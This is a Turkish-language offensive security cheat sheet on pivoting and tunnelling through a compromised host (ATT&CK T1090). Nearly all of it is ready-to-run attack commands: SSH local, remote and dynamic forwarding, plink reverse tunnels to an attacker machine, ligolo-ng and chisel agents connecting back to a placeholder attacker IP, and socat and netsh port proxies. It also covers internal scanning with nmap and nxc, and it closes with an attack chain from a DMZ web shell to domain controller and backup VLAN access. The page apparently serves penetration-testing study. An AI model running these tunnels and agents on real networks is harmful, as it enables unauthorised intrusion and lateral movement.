Pivoting & Tünelleme

ATT&CK T1090 difficulty: orta

Pivoting, ele geçirilen bir hostu köprü olarak kullanıp normalde erişilemeyen iç ağ segmentlerine ulaşmaktır (T1090). Tünelleme ile tarayıcı, nmap, nxc ve exploit araçlarını bu segmentlere yönlendirirsin.

Ön koşullar

- Pivot host'ta shell (SSH, WinRM, beacon, web shell)
- Pivot'un ikinci NIC / route ile hedef ağı görmesi
- Saldırgan ↔ pivot arasında çıkış (ters tünel sık gerekir)

ip a; ip route; arp -a

ipconfig /all

route print

SSH tabanlı forwarding

ssh -L 8080:10.10.20.5:80 user@pivot

curl http://127.0.0.1:8080/

ssh -L 4450:10.10.20.5:445 -L 3389:10.10.20.8:3389 user@pivot

ssh -R 9001:127.0.0.1:9001 user@pivot

ssh -D 1080 user@pivot

ssh -D 1080 -N -f user@pivot

ssh -J user@pivot user@10.10.20.5

ssh -o ProxyCommand="ssh -W %h:%p user@pivot" user@10.10.20.5

proxychains:

# socks5 127.0.0.1 1080
proxychains nmap -sT -Pn -p 445,3389 10.10.20.5

proxychains nxc smb 10.10.20.5 -u user -p pass

Windows pivot’ta OpenSSH veya plink:

plink.exe -D 1080 user@attacker

plink.exe -R 1080:127.0.0.1:1080 user@attacker

Ajan tabanlı (chisel / ligolo-ng)

1. ligolo-ng — TUN arayüzü; proxychains’siz doğal IP erişimi:

   sudo ip tuntap add user $USER mode tun ligolo

   sudo ip link set ligolo up

   ./proxy -selfcert

   ./agent -connect SALDIRGAN_IP:11601 -ignore-cert

   session

   ifconfig                          # pivot arayüzlerini gör

   start

   sudo ip route add 10.10.20.0/24 dev ligolo

   nmap -Pn 10.10.20.5               # doğrudan

2. chisel — HTTP(S) üzerinden reverse SOCKS/port:

   ./chisel server -p 8000 --reverse

   ./chisel client SALDIRGAN_IP:8000 R:socks

   ./chisel client SALDIRGAN_IP:8000 R:445:10.10.20.5:445

3. Çok katman — pivot1 → pivot2 zinciri; ligolo’da birden fazla session, SSH -J hop, veya chisel’i ikinci hop’ta tekrar çalıştır.

Diğer teknikler

socat TCP-LISTEN:4450,fork TCP:10.10.20.5:445

sshuttle -r user@pivot 10.10.20.0/24

netsh interface portproxy add v4tov4 listenport=8080 \
  listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.20.5

Pivot sonrası keşif

nmap -sn 10.10.20.0/24

nxc smb 10.10.20.0/24

nslookup -type=SRV _ldap._tcp.dc._msdcs.hedef.local

Komut üreteci

⚡

SSH Dynamic Proxy

embedded tool

UserPivot hostLocal SOCKS port

Generated commandcopy

ssh -D 1080 -N user@10.10.10.5

SSH Dynamic Proxy

Saldırı zinciri

DMZ web shell
  → chisel R:socks
  → nxc smb 10.10.20.0/24
  → ligolo TUN + route
  → DC / backup VLAN erişimi